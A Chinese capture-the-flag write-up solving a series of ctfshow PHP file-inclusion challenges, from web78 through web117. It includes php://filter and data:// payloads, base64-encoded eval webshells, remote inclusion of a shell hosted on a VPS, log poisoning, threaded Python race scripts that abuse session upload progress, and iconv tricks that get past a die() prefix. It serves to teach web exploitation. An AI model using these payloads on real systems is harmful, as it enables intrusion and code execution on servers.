文件包含
web78
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
include
include
表达式包含并运行指定文件。
被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 include
最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include
结构会发出一条 E_WARNING
;这一点和 require 不同,后者会发出一个 E_ERROR
。
如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \
开头,在 Unix/Linux 下以 /
开头)还是当前目录的相对路径(以 .
或者 ..
开头)——include_path 都会被完全忽略。例如一个文件以 ../
开头,则解析器会在当前目录的父目录下寻找该文件。
当一个文件被包含时,其中所包含的代码继承了 include 所在行的变量范围。从该处开始,调用文件在该行处可用的任何变量在被调用的文件中也都可用。不过所有在包含文件中定义的函数和类都具有全局作用域。
包含一个php文件会被解析掉
然鹅,如果包含一个非php文件,则会返回到页面上
flag.php显然是个php文件,会被当做php代码解析,不过可以通过php流封装(伪)协议来绕过
php封装协议
法一 php://filter
php://filter
是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
filter有resource, read, write三个参数,resource参数是必须的。它指定了你要筛选过滤的数据流。 read和write是可选参数,可以设定一个或多个过滤器名称,以管道符(|)分隔。
名称 | 描述 |
---|---|
resource=<要过滤的数据流> |
这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(| )分隔。 |
write=<写链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(| )分隔。 |
<;两个链的筛选列表> |
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
-
字符串过滤器
-
string.rot13
-
string.toupper
-
string.tolower
-
string.strip_tags
-
-
转换过滤器
- convert.base64-encode
- convert.base64-decode
- convert.quoted-printable-encode
- convert.quoted-printable-decode
- convert.iconv.*
-
压缩过滤器
-
zlib.deflate
-
zlib.inflate
-
bzip2.compress
-
bzip2.decompress
-
-
加密过滤器
-
mcrypt.
ciphername
-
mdecrypt.
ciphername
-
将flag.php
通过php://filter
流封装协议,封装成base64编码,进入include包含,相当于将flag.php
base64加密丢进include,从而绕过php解析
?file=php://filter/read=convert.base64-encode/resource=flag.php
read=
可省
法二
同样利用php://filter/
,resource=
后可以是本地目录,也支持http协议,于是,可以传一个shell上去,然后php解析执行
<?php system('tac flag.php');
shell放在vps上
python启动http服务
python3 -m http.server
数据输入流指定到http路由位置(地址)
?file=php://filter/resource=http://[vps]/[shell]
法三 data://
用法:data://text/plain;base64,
data:(» RFC 2397)数据流封装器。
关于RFC 2397:
URL的格式如下:
其中,是一个互联网媒体类型规范(可选参数)。出现";base64"表示数据以base64编码。如果没有;base64
,则数据(作为字节序列)使用ASCII编码来表示安全URL字符范围内的字节,并对超出该范围的字节使用标准%xx十六进制编码进行URL编码。 如果省略<mediatype>
,默认为text/plain;charset=US-ASCII
。作为简写,text/plain
可以省略但提供charset参数。
data://
协议是将以文本或加密数据传入,怎么说呢,php://filter
是通过指定一个目录或者地址去拿数据,而data://
是你可以写好数据直接给他
?file=data://text/plain,<?php system('tac flag.php');
或
?file=data://,<?php system('tac flag.php');
法四
甚至
你可以套娃
?file=php://filter/resource=data://text/plain,<?php system('tac flag.php');
web79
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:10:14
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了php
,用data协议,base64加密
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwqJyk7
text/plain
可省
web80
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
php和data都被ban了,不过在ctfshow-web之命令执行-web65中提到过日志注入
这里就不多说了,nginx
服务器会记录每次请求信息到日志/var/log/nginx/access.log
,通过在请求头附加恶意php代码,include
包含日志执行php代码
web81
做完这道题,你就已经经历的九九八十一难,是不是感觉很快?
没关系,后面还是九百一十九难,加油吧,少年!
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
多了个:
过滤,同web80
web82
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
get
传参基本被禁死了,伪协议不让用,.
也不让用,又不像shell一样可以通配代替,include
必须是实际路径。
不过是否可以使用不带.
的文件来包含呢?post上传一个是否可行?
这题跟web56有着异曲同工之妙,只不过web56那题是system函数,可以直接执行shell命令,加上利用post上传会在/tmp
目录产生php??????
临时文件(生命周期为php运行时间,即php运行结束才会清除;?
为随机大小写字母),由此执行shell命令可以通过/???/?????????
通配符表示随机的post临时文件路径
然鹅,include
可没有通配的作用,六个随机大小写字母欧皇也赌不出来,更别说赌狗了。只能另辟蹊径了
我们可以利用session.upload_progress
有关来达到同样目的
Session 上传进度(session.upload_progress)
简单来说,若session.upload_progress.enabled
被设置为on(默认开启),我们上传文件时,php会在/tmp
目录(session.save_path)下生成一个session文件,里面包含了session.upload_progress.prefix
+session.upload_progress.name
+session序列化进度信息,其中session.upload_progress.prefix
一般为固定的upload_progress_字符串,而session.upload_progress.name
默认为PHP_SESSION_UPLOAD_PROGRESS
,即上传进度,PHP_SESSION_UPLOAD_PROGRESS
是可被设置的,由此,便可以注入恶意php代码
session序列化前的样子
在session.auto_start=On
或php代码中执行session_start()
的情况下,生成的session文件名为sess_
+32位md5sessionID~~(应该是,懒得验证了)~~
在7.1往后
session.sid_length
控制sessionID,设为32默认使用md5
显然,文件名还是不确定的,总不能让我推算md5吧
幸运的是,session.auto_start
是默认关闭的,而另一个玩意儿session.use_strict_mode
是默认关闭的,这样会话ID(PHPSESSID)就可以在cookies自行设置了
例如,将PHPSESSID设置为n0o0b
cookies = {'PHPSESSID': 'n0o0b'}
这样,上传文件时就会在/tmp目录下生成sess_n0o0b
文件
不幸的是,当我们cat她的时候,她已经是空的了
这是因为session.upload_progress.cleanup
默认开启
机翻的比较狗屎,还是看原文吧。此项配置开启后,文件上传完毕后立即清除该文件内数据,即她的生命周期仅有上传文件的过程
不过,可以进行session维持
本来想过用大文件来维持,不过php大文件上传和小文件上传不太一样,大文件似乎不会产生session上传进度文件,可惜佐证找不到辣
这下只能用条件竞争来维持sess_n0o0b了,很简单,就是不断去上传文件,不断生成
import requests
from io import BytesIO
URL = 'http://192.168.146.129:9092/'
def attack():
data = {'PHP_SESSION_UPLOAD_PROGRESS': "<?php phpinfo();?>"}
cookies = {'PHPSESSID': 'n0o0b'}
files = {'file': ('1', BytesIO(b'x' * 102400))}
requests.post(URL, data, cookies=cookies, files=files)
while 1:
attack()
由于文件上传时间极短,很难去cat到,所以可以用以下代码去查看
tail -f /tmp/sess_n0o0b
或
watch cat /tmp/sess_n0o0b
得到sess_n0o0b
文件
upload_progress_<?php echo 'bad_code_here';?>|a:5:{s:10:"start_time";i:1722938615;s:14:"content_length";i:102674;s:15:"bytes_processed";i:5255;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:1:"1";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1722938615;s:15:"bytes_processed";i:5255;}}}
可以看出开头为upload_progress_
,即session.upload_progress.prefix
默认值,而接下来的<?php phpinfo();?>
,是session.upload_progress.name
中的PHP_SESSION_UPLOAD_PROGRESS
,即在python发包中被设置成的<?php phpinfo();?>
,最后,由|
隔离的是session信息序列化,包含了时间
现在,经过不断发包可以发现php恶意代码已经不断注入到sess_n0o0b
中
此时我们再去连续发几个get请求去包含sess_n0o0b
文件,这时发现注入的php代码被执行了
本地复现成功,我们在换到靶场实验
由于性能和上传限制,可能要多请求几次才能include到
当然也可以再构造python get脚本
import requests
URL = 'http://2c2ece81-5d99-4639-b5d5-7f0cdd571bc8.challenge.ctf.show/'
def include():
params={'file':'/tmp/sess_n0o0b'}
res=requests.get(URL,params=params)
print(res.text)
while 1:
include()
先运行上传文件脚本,在另运行get请求脚本
或者二合一,使用python中Thread多线程,在不断更新session文件的同时,并发get请求包含session文件
import requests
from io import BytesIO
import threading
URL = 'http://2c2ece81-5d99-4639-b5d5-7f0cdd571bc8.challenge.ctf.show/'
def attack():
data = {'PHP_SESSION_UPLOAD_PROGRESS': "<?php system('ls');?>"}
cookies = {'PHPSESSID': 'n0o0b'}
files = {'file': ('1', BytesIO(b'x' * 1024000))}
while 1:
requests.post(URL, data, cookies=cookies, files=files)
def include():
params={'file':'/tmp/sess_n0o0b'}
while 1:
res=requests.get(URL,params=params)
print(res.text)
attack = threading.Thread(target=attack)
attack.start()
include()
拿到flag
ctfshow{d8617a43-e2b8-42cc-8548-0eb0922f44f3}
web83
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:28:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
多了session_unset和session_destroy函数
session_destroy
销毁当前会话中的全部数据, 但是不会重置当前会话所关联的全局变量, 也不会重置会话 cookie。 如果需要再次使用会话变量, 必须重新调用 session_start() 函数。
session_unset
释放当前会话注册的所有会话变量。
这两个函数无伤大雅,我们利用的是文件上传的那段过程,这过程通常在执行php代码直接,也就是说这两个函数不影响session文件的生成,也不会影响对session文件的维持和利用
因此,我们可以继续利用上一题的脚本
import requests
from io import BytesIO
import threading
URL = 'http://192.168.146.129:9092/'
def attack():
data = {'PHP_SESSION_UPLOAD_PROGRESS': "<?php system('cat fl0g.php');?>"}
cookies = {'PHPSESSID': 'n0o0b'}
files = {'file': ('1', BytesIO(b'x' * 1024000))}
while 1:
requests.post(URL, data, cookies=cookies, files=files)
def include():
params={'file':'/tmp/sess_n0o0b'}
while 1:
res=requests.get(URL,params=params)
print(res.text)
attack = threading.Thread(target=attack)
attack.start()
include()
web84
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:40:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}
system("rm -rf /tmp/*");
,看似蓟县,实际无用,不影响session文件的实时产生。删了又能怎样,线程撕裂教他做人,只要我生成的够快,删的一瞬间由生成一个session文件,这就是**权限维持**!
import requests
from io import BytesIO
import threading
URL = 'http://d9aafd68-157d-4eae-a645-88737d92b22f.challenge.ctf.show/'
def attack():
data = {'PHP_SESSION_UPLOAD_PROGRESS': "<?php system('ls');?>"}
cookies = {'PHPSESSID': 'n0o0b'}
files = {'file': ('1', BytesIO(b'x' * 1024000))}
while 1:
requests.post(URL, data, cookies=cookies, files=files)
def include():
params={'file':'/tmp/sess_n0o0b'}
res=requests.get(URL,params=params)
if 'upload_progress_' in res.text:
print(res.text)
'''
while 1:
threading.Thread(target=attack).start()
include()
'''
for i in range(5):
threading.Thread(target=attack).start()
while 1:
include()
web85
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:59:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
}else{
highlight_file(__FILE__);
}
天下武功,唯快不破。在检测<
结束的后一刻,include
包含的前一刻,生成session文件即可,概率学问题
web86
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
include
只是优先从所设置的目录(include_path)去包含文件,并非限制目录,不影响绝对路径的包含
web87
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
GET传参file文件名,POST传参content文件内容,死亡die+content一起file_put_contents函数写入file,遇到php闭合的“死亡die”就直接结束了,后面content仅当纯文本,好在有urldecode
让file有一次url解码的机会,可以编码传参绕过四行过滤,这样我们就可以用封装协议
以往,我们都是利用封装协议加密绕过php解析读取文件信息,如今,我们也可以利用封装协议解密传入数据进行写入文件,这样将某些不可避免的死亡代码当做编码解码掉,在加上构造好的编码好的恶意代码经过同样解码,最终一同写入到文件中
涉及写入文件,需要用到php://来访问各个输入/输出流(I/O streams),再加上filter
构成元封装器,参数选择write
,过滤器可以选择如convert.base64-decode
等,resource
=[要写入的文件]
不过需要注意的是,由于base64加解密前后有位数变化,需要凑字数来构造payload
字符串按照二进制8bits一个字符,base64_encode是将所有二进制位6bits一个字符分割生成一段新字符
简单来说,加密前三字符加密后四个字符,不够四个补**=**
先写一段一句话木马进行base64加密
我们目的是经过封装协议解密后能还原出木马,可解码后为何是乱码,这就是刚才提到base64加密位分割的问题了
汉字按3个字符算,"死亡die"一共31个字符,不足3的倍数,应当给“死亡die“补2位字符凑够完整
现在,我们需要POST上传的就是aaPD9waHAgQGV2YWwoJF9HRVRbY21kXSk7Pz4=
防止出现url解析
+
为空格的情况,可以对上传进行一次url编码
再根据前面说的构造封装协议
php://filter/write=convert.base64-decode/resource=shell.php
源代码中,对file参数有一次urldecode,然而,http本身会对上传的内容进行一次url解码,所以我们要二次url编码构造GET传参
访问木马文件,拿flag
/shell.php?cmd=system('tac fl0g.php');
web88
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
在web78中的[法三](#法三 data://)提到了**data://**协议,相当于构造一个临时文件(流),官方称之为"immediate addressing"
当然,不仅可以data直接输入,同样支持data经base64解码后输入
于是就很简单了,构造base64加密的一句话木马
?file=data://text/plain;base64,PD9waHAgQGV2YWwoJF9HRVRbY21kXSk7Pz4&cmd=phpinfo();
text/plain可省略
web116
下载视频
binwalk发现有png
foremost分离找到png
?file=flag.php
不知道为什么edge无响应数据,firefox返回base64,可能因为Content-Type: video/mp4
被浏览器当MP4解析掉了
python
web117
<?php
/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 18:16:59
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
和web87差不多,不过ban了不少,常用的过滤器都用不了了,轮到convert.iconv.*上场了
利用编码中BE(小端序)和LE(大端序)绕过,PHP: 支持的字符编码 - Manual
utf被ban了,还有ucs可以用,我们用ucs-2LE和usc-2BE,这一对前后转换后每隔2字符是反序的
若用ucs-4LE和usc-4BE,即每隔4字符是反序的
<?php die();?>
为偶数字符,可以直接接上如下生成的木马
<?php
$shell='<?php @eval($_GET[cmd]);?>';
echo iconv("UCS-2LE", "UCS-2BE",$shell);
//?<hp pe@av(l_$EG[Tmc]d;)